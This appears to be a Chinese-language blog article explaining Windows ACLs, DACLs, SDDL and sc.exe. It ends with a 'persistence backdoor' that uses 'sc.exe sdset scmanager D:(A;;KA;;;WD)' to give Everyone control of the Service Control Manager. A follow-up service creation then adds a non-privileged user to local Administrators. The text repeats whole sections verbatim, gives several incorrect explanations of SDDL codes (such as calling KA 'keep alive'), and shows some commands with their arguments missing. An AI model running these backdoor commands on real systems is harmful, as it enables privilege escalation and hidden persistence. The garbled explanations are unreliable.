0x01引言
前段時間在小藍鳥上看到一個幾乎不見的持久化后門--SDDL,然后就看著評論學習著,越看越迷茫就去查了查資料。
0x02 Windows中的安全模型
當 Windows 中的用戶或進程嘗試訪問系統(tǒng)中的資源時,系統(tǒng)會使用訪問令牌來標識這些用戶或進程。訪問令牌包括一組安全標識符(SID)、用戶特定的數(shù)據(jù)和訪問權限。每個用戶都有一個唯一的 SID,它用于標識該用戶。
訪問控制列表(ACL)是一組安全描述符,用于控制對對象的訪問。ACL 中包含一條條 ACE(訪問控制項),每個 ACE 都描述了一個安全主體(如用戶、組或計算機)對對象的訪問權限。
Windows 中的安全模型通過這些基本元素來實現(xiàn)對資源的保護。當訪問令牌中包含的 SID 與 ACL 中的 ACE 相匹配時,訪問將被允許。否則,訪問將被拒絕。
訪問控制是 Windows 安全模型中的一個關鍵方面,它允許管理員通過配置 ACL 控制對資源的訪問。這種方法能夠提供高度的安全性,但需要仔細規(guī)劃和管理,以確保正確地保護系統(tǒng)和應用程序。
當一個線程嘗試去訪問一個對象時,系統(tǒng)會檢查線程持有的令牌以及被訪問對象的安全描述符中的DACL。先查詢類型為DENY的ACE,若命中且權限符合則訪問拒絕;未命中再在ALLOWED類型的ACE中查詢,若命中且類型符合則可以訪問。
總之,ACL的組成結構包含了一系列訪問控制項,每個訪問控制項都包含了標識符、訪問掩碼、ACE類型和審計標志等信息。通過ACL,可以控制對象的訪問權限,從而保護系統(tǒng)的安全性。
0x03DACL
1、概念和作用
DACL指的是Discretionary Access Control List,也就是自主訪問控制列表。它是Windows中的一種安全機制,用于控制對象(如文件、目錄、注冊表項等)的訪問權限。是一組ACE(Access Control Entry,訪問控制項)的集合,每個ACE對應一個用戶或用戶組,并定義了該用戶或用戶組在對象上所具有的訪問權限。DACL中的ACE分為Allow和Deny兩種類型,Allow表示允許訪問,Deny表示拒絕訪問。在Windows中,每個對象都有一個DACL,用于控制哪些用戶可以訪問該對象。
2、格式和語法
DACL的格式和語法基于SDDL(Security Descriptor Definition Language),SDDL是一種字符串表示形式,用于描述安全描述符和訪問控制列表。以下是SDDL語法的基本格式:
cssCopy code
D:(A;;[Access Type];[Security Identifier])
其中,D:表示這是DACL的SDDL字符串,A表示ACE中的對象類型,Access Type表示訪問權限的類型,Security Identifier表示允許或拒絕訪問的安全標識符(SID)。
Access Type包括以下部分:
? A:代表允許對對象的訪問。
? D:代表拒絕對對象的訪問。
? OA:代表允許對對象的所有者訪問。
? OD:代表拒絕對對象的所有者訪問。
? GA:代表允許對對象的組訪問。
? GD:代表拒絕對對象的組訪問。因此,一個完整的DACL SDDL字符串可能如下所示:
cssCopy code
D:(A;;GA;;;WD)(A;;GA;;;SY)(A;;0x1201bf;;;S-1-5-32-544)
其中,這個DACL允許組Everyone和系統(tǒng)用戶具有完全訪問權限,并且允許本地管理員組具有包括刪除和修改權限的特定訪問權限。
0x04、SDDL
1、概念和作用
SDDL(Security Descriptor Definition Language)是一種描述Windows安全描述符的語言,它用于描述Windows安全對象的安全描述符,包括訪問控制列表(ACL)、安全標識符(SID)、安全描述符的所有者和主要組等。
SDDL的作用主要有以下幾個方面:
1. 顯示安全描述符信息:使用SDDL可以將安全描述符轉換為易讀的字符串形式,從而方便用戶查看和理解其中的信息。
2. 編輯安全描述符:SDDL提供了一種統(tǒng)一的方式來編輯安全描述符的信息,用戶可以使用SDDL語法修改安全描述符的內容,以實現(xiàn)對安全對象的訪問控制。
3. 傳輸安全描述符:SDDL可以將安全描述符的信息以字符串的形式傳輸,以方便在不同的系統(tǒng)之間共享安全描述符的信息。SDDL語言結構非常靈活,可以用于描述多種安全對象,包括文件、目錄、注冊表、命名管道等。
2、語法和格式
SDDL(Security Descriptor Definition Language)是一種描述安全描述符(Security Descriptor)的語言,用于在Windows中定義和修改對象的安全描述符,包括訪問控制列表(ACL)、SACL和安全描述符的所有者和主要組。
SDDL語法由多個段組成,每個段用分號分隔。下面是一個包含所有段的示例:
cssCopy code
?
OSYD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SO)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CR;;;AU)(A;;CCLCSWRPLOCRRC;;;PU)(A;;CCLCSWRPLOCRRC;;;SY)
?
每個段表示安全描述符的一個組件,以下是每個段的含義:
? O:安全描述符的所有者。
? G:安全描述符的主要組。
? D:DACL段,表示對象的訪問控制列表。
? S:SACL段,表示對象的安全審核策略。
? A:ACE段,表示允許或拒絕特定用戶或組訪問對象,ACE段由多個字段組成,分別表示訪問掩碼、安全標識符、ACE類型和ACE標志等。
下面是一個示例,展示了包含一個DACL和一個SACL的SDDL格式的安全描述符:
?
D:(A;;GA;;;SY)(A;;GA;;;BA)(A;;GA;;;WD)(A;;GX;;;CO)S:(AU;SAFA;GA;;;WD)(AU;SAFA;GXGW;;;CO)
?
該SDDL描述符由兩個段組成,第一個段(D)表示DACL,它允許系統(tǒng)管理員、內置管理員和所有用戶以讀取和寫入的方式訪問對象。第二個段(S)表示SACL,它允許系統(tǒng)管理員和內置管理員對對象進行安全審核,并將所有事件發(fā)送到安全日志中。
3、SDDL編輯DACL以及SACL
使用SDDL來設置和修改DACL和SACL的步驟如下:
1.?編寫SDDL字符串
首先,需要編寫SDDL字符串。SDDL字符串是一種描述安全描述符的文本格式,它由多個子項組成,每個子項對應于一個權限或一個安全標識符(SID)。
一個簡單的SDDL字符串的示例為:D:(A;;GA;;;WD)(A;;GA;;;BA)
在這個示例中,D: 表示此SDDL字符串是用來描述DACL,即訪問控制列表;A;;GA;;;WD 表示給Everyone用戶組授予了讀取和寫入權限;(A;;GA;;;BA) 表示給Administrators用戶組授予了讀取和寫入權限。2. 使用sc.exe命令行工具設置DACL和SACL
接下來,可以使用sc.exe命令行工具來設置DACL和SACL。sc.exe命令行工具是Windows操作系統(tǒng)自帶的一個工具,可以用來管理服務。通過sc.exe工具,可以使用SDDL字符串來設置服務的DACL和SACL。
0x05 命令行工具sc.exe
1、概念和作用
sc.exe是Windows操作系統(tǒng)中的命令行工具,用于管理和控制Windows服務。通過sc.exe,用戶可以創(chuàng)建、修改、刪除和查詢Windows服務,以及控制服務的啟動和停止等操作。sc.exe還可以用于修改服務的啟動類型、設置服務的依賴關系和描述信息等功能。
具體來說,sc.exe提供了以下主要的功能:
1. 創(chuàng)建Windows服務:用戶可以使用sc.exe命令創(chuàng)建新的Windows服務。
2. 修改Windows服務:用戶可以使用sc.exe命令修改現(xiàn)有的Windows服務的配置信息。
3. 刪除Windows服務:用戶可以使用sc.exe命令刪除不需要的Windows服務。
4. 查詢Windows服務:用戶可以使用sc.exe命令查看Windows服務的狀態(tài)、配置信息和依賴關系等。
5. 控制Windows服務:用戶可以使用sc.exe命令啟動、停止、暫?;蚧謴蚖indows服務的運行。
6. 設置Windows服務的安全性:用戶可以使用sc.exe命令設置Windows服務的安全性,包括修改服務的DACL和SACL等。
sc.exe是Windows系統(tǒng)中非常重要的命令行工具,可以方便地管理和控制Windows服務,保障系統(tǒng)的正常運行和安全性。
2、基本用法和常用命令
sc.exe 是 Windows 操作系統(tǒng)自帶的一個命令行工具,它可以用于管理 Windows 服務,包括創(chuàng)建、刪除、啟動、停止、修改服務的配置信息等操作。以下是 sc.exe 的一些常用命令和基本用法:
1.?列出所有服務
2、格式和語法
DACL的格式和語法基于SDDL(Security Descriptor Definition Language),SDDL是一種字符串表示形式,用于描述安全描述符和訪問控制列表。以下是SDDL語法的基本格式:
cssCopy code
D:(A;;[Access Type];[Security Identifier])
其中,D:表示這是DACL的SDDL字符串,A表示ACE中的對象類型,Access Type表示訪問權限的類型,Security Identifier表示允許或拒絕訪問的安全標識符(SID)。
Access Type包括以下部分:
? A:代表允許對對象的訪問。
? D:代表拒絕對對象的訪問。
? OA:代表允許對對象的所有者訪問。
? OD:代表拒絕對對象的所有者訪問。
? GA:代表允許對對象的組訪問。
? GD:代表拒絕對對象的組訪問。因此,一個完整的DACL SDDL字符串可能如下所示:
cssCopy code
D:(A;;GA;;;WD)(A;;GA;;;SY)(A;;0x1201bf;;;S-1-5-32-544)
其中,這個DACL允許組Everyone和系統(tǒng)用戶具有完全訪問權限,并且允許本地管理員組具有包括刪除和修改權限的特定訪問權限。
0x04、SDDL
1、概念和作用
SDDL(Security Descriptor Definition Language)是一種描述Windows安全描述符的語言,它用于描述Windows安全對象的安全描述符,包括訪問控制列表(ACL)、安全標識符(SID)、安全描述符的所有者和主要組等。
SDDL的作用主要有以下幾個方面:
1. 顯示安全描述符信息:使用SDDL可以將安全描述符轉換為易讀的字符串形式,從而方便用戶查看和理解其中的信息。
2. 編輯安全描述符:SDDL提供了一種統(tǒng)一的方式來編輯安全描述符的信息,用戶可以使用SDDL語法修改安全描述符的內容,以實現(xiàn)對安全對象的訪問控制。
3. 傳輸安全描述符:SDDL可以將安全描述符的信息以字符串的形式傳輸,以方便在不同的系統(tǒng)之間共享安全描述符的信息。SDDL語言結構非常靈活,可以用于描述多種安全對象,包括文件、目錄、注冊表、命名管道等。
2、語法和格式
SDDL(Security Descriptor Definition Language)是一種描述安全描述符(Security Descriptor)的語言,用于在Windows中定義和修改對象的安全描述符,包括訪問控制列表(ACL)、SACL和安全描述符的所有者和主要組。
SDDL語法由多個段組成,每個段用分號分隔。下面是一個包含所有段的示例:
cssCopy code
?
OSYD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SO)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CR;;;AU)(A;;CCLCSWRPLOCRRC;;;PU)(A;;CCLCSWRPLOCRRC;;;SY)
?
每個段表示安全描述符的一個組件,以下是每個段的含義:
? O:安全描述符的所有者。
? G:安全描述符的主要組。
? D:DACL段,表示對象的訪問控制列表。
? S:SACL段,表示對象的安全審核策略。
? A:ACE段,表示允許或拒絕特定用戶或組訪問對象,ACE段由多個字段組成,分別表示訪問掩碼、安全標識符、ACE類型和ACE標志等。
下面是一個示例,展示了包含一個DACL和一個SACL的SDDL格式的安全描述符:
?
D:(A;;GA;;;SY)(A;;GA;;;BA)(A;;GA;;;WD)(A;;GX;;;CO)S:(AU;SAFA;GA;;;WD)(AU;SAFA;GXGW;;;CO)
?
該SDDL描述符由兩個段組成,第一個段(D)表示DACL,它允許系統(tǒng)管理員、內置管理員和所有用戶以讀取和寫入的方式訪問對象。第二個段(S)表示SACL,它允許系統(tǒng)管理員和內置管理員對對象進行安全審核,并將所有事件發(fā)送到安全日志中。
3、SDDL編輯DACL以及SACL
使用SDDL來設置和修改DACL和SACL的步驟如下:
1.?編寫SDDL字符串
首先,需要編寫SDDL字符串。SDDL字符串是一種描述安全描述符的文本格式,它由多個子項組成,每個子項對應于一個權限或一個安全標識符(SID)。
一個簡單的SDDL字符串的示例為:D:(A;;GA;;;WD)(A;;GA;;;BA)
在這個示例中,D: 表示此SDDL字符串是用來描述DACL,即訪問控制列表;A;;GA;;;WD 表示給Everyone用戶組授予了讀取和寫入權限;(A;;GA;;;BA) 表示給Administrators用戶組授予了讀取和寫入權限。2. 使用sc.exe命令行工具設置DACL和SACL
接下來,可以使用sc.exe命令行工具來設置DACL和SACL。sc.exe命令行工具是Windows操作系統(tǒng)自帶的一個工具,可以用來管理服務。通過sc.exe工具,可以使用SDDL字符串來設置服務的DACL和SACL。
0x05 命令行工具sc.exe
1、概念和作用
sc.exe是Windows操作系統(tǒng)中的命令行工具,用于管理和控制Windows服務。通過sc.exe,用戶可以創(chuàng)建、修改、刪除和查詢Windows服務,以及控制服務的啟動和停止等操作。sc.exe還可以用于修改服務的啟動類型、設置服務的依賴關系和描述信息等功能。
具體來說,sc.exe提供了以下主要的功能:
1. 創(chuàng)建Windows服務:用戶可以使用sc.exe命令創(chuàng)建新的Windows服務。
2. 修改Windows服務:用戶可以使用sc.exe命令修改現(xiàn)有的Windows服務的配置信息。
3. 刪除Windows服務:用戶可以使用sc.exe命令刪除不需要的Windows服務。
4. 查詢Windows服務:用戶可以使用sc.exe命令查看Windows服務的狀態(tài)、配置信息和依賴關系等。
5. 控制Windows服務:用戶可以使用sc.exe命令啟動、停止、暫?;蚧謴蚖indows服務的運行。
6. 設置Windows服務的安全性:用戶可以使用sc.exe命令設置Windows服務的安全性,包括修改服務的DACL和SACL等。
sc.exe是Windows系統(tǒng)中非常重要的命令行工具,可以方便地管理和控制Windows服務,保障系統(tǒng)的正常運行和安全性。
2、基本用法和常用命令
sc.exe 是 Windows 操作系統(tǒng)自帶的一個命令行工具,它可以用于管理 Windows 服務,包括創(chuàng)建、刪除、啟動、停止、修改服務的配置信息等操作。以下是 sc.exe 的一些常用命令和基本用法:
1.?列出所有服務?sc.exe query
2.?列出指定服務的信息
sc.exe query [service_name]
3.?創(chuàng)建一個服務
sc.exe create [service_name] [bin_path] [start_type] [error_control] [display_name] [depend]
其中,[bin_path] 是服務程序的路徑,[start_type] 是服務的啟動類型,可以為 auto(自動啟動)、demand(手動啟動)、disabled(禁用),[error_control] 是服務出錯時的處理方式,可以為 normal、ignore、critical,[display_name] 是服務的顯示名稱,[depend] 是服務所依賴的其他服務的名稱。
1.?刪除一個服務
sc.exe delete [service_name]
2.?啟動一個服務
sc.exe start [service_name]
3.?停止一個服務
sc.exe stop [service_name]
4.?修改服務的配置信息
sc.exe config [service_name] [option1=value1] [option2=value2] ...
其中,[option1=value1] 等是要修改的配置選項和對應的值,比如 start=auto 表示將服務的啟動類型改為自動啟動。
除了以上命令,sc.exe 還有其他一些命令,如 pause、resume、qc、qdescription 等,可以通過輸入 sc.exe /? 查看所有可用的命令和選項。
3 sc設置DACL和SACL
以設置服務DACL為例,使用以下命令:
?
sc.exe?sdset??
?
其中,
如果想要設置服務的SACL,可以使用以下命令:
sc.exe sdset
其中,
1.?驗證DACL和SACL的設置
最后,需要驗證DACL和SACL的設置是否生效??梢允褂靡韵旅顏聿榭捶盏腄ACL和SACL:
sc.exe sdshow
其中,
0x06后門
?
sc.exe?sdset?scmanager?D:(A;;KA;;;WD)
?
這個命令的作用是設置Windows Service Controller的安全描述符(Security Descriptor),其中:
??sc.exe?是Windows的命令行服務管理工具。
??sdset?是命令行中用來設置安全描述符的命令。
??scmanager?是Windows服務控制器的服務名稱,用于管理系統(tǒng)中所有的Windows服務。
??D:(A;;KA;;;WD)?是安全描述符的字符串表示,其中?D:?表示將安全描述符應用到?scmanager?服務的 DACL(Discretionary Access Control List)上。A?表示允許訪問,KA?表示對于“keep alive”相關的請求允許訪問,WD?表示允許對于所有用戶都允許訪問。
因此,這個命令的作用是設置 Windows Service Controller 服務的安全描述符,允許任何用戶訪問并保持服務保持連接。賦予 Everyone 組具有 KEY_ALL_ACCESS 訪問權限。也就是讓所有人都可以控制服務管理器,包括創(chuàng)建服務、刪除服務、啟動/停止服務等操作。
簡單來說允許每個人創(chuàng)建新的系統(tǒng)服務。實際上意味著“允許以本地系統(tǒng)運行任何 exe”。
可以通過
?
sc.exe?sdshow?scmanager?showrights
?
來枚舉服務的權限
在我們執(zhí)行了這個命令之后我們可以使用普通用戶以及非特權用戶創(chuàng)建一個服務
?
sc?create?LPE?displayName=?"LPE"?binPath=?"C:WindowsSystem32 et.exe?localgroup?Administrators?nonpriv-user?/add"?start=?auto
?
將我們的帳戶添加到這臺機器的本地管理員組 然后重啟機器讓服務控制管理器以SYSTEM權限執(zhí)行我們的新服務。一旦它重新上線,我們應該看到我們的帳戶現(xiàn)在已添加到本地管理員。一個不被發(fā)現(xiàn)的持久化后門就搞定了。
審核編輯:劉清
評論
查看更多